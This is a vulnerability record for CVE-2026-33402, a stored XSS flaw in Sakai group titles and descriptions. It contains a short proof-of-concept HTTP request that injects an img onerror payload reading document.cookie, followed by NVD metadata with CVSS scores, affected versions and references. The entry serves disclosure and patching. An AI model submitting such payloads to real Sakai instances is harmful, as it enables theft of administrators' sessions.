CVE-2026-33402

// Conceptual PoC for CVE-2026-33402 // Attack: Injecting XSS payload into Sakai Group Title // 1. Attacker sends a POST request to create/edit a group // Endpoint typically varies, e.g., /direct/group/new or similar POST /portal/site/group/save HTTP/1.1 Host: vulnerable-sakai-instance.com Content-Type: application/x-www-form-urlencoded // Payload injected into the 'title' field title=<img src=x onerror=alert(document.cookie)>&description=TestGroup // 2. The payload is stored in the database. // 3. When an admin visits the group list page, the script executes.

{"cve": {"id": "CVE-2026-33402", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:38.287", "lastModified": "2026-03-31T13:11:41.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sakai is a Collaboration and Learning Environment (CLE). In versions 23.0 through 23.4 and 25.0 through 25.1, group titles and description can contain cross-site scripting scripts. The patch is included in releases 25.2 and 23.5. As a workaround, one can check the SAKAI_SITE_GROUP table for titles and descriptions that contain this info."}, {"lang": "es", "value": "Sakai es un Entorno de Colaboración y Aprendizaje (CLE). En las versiones 23.0 a 23.4 y 25.0 a 25.1, los títulos y la descripción de los grupos pueden contener scripts de cross-site scripting. El parche está incluido en las versiones 25.2 y 23.5. Como solución alternativa, se puede verificar la tabla SAKAI_SITE_GROUP en busca de títulos y descripciones que contengan esta información."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sakailms:sakai:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.0", "versionEndExcluding": "23.5", "matchCriteriaId": "D75FAFA7-2928-4FEA-BE03-CC9211C42A2B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sakailms:sakai:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.0", "versionEndExcluding": "25.2", "matchCriteriaId": "EB603635-0CE3-4E36-A279-47C8E67C1499"}]}]}], "references": [{"url": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-6g62-3898-hpvm", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://sakaiproject.atlassian.net/browse/SAK-52311", "source": "[email protected]", "tags": ["Permissions Required"]}]}}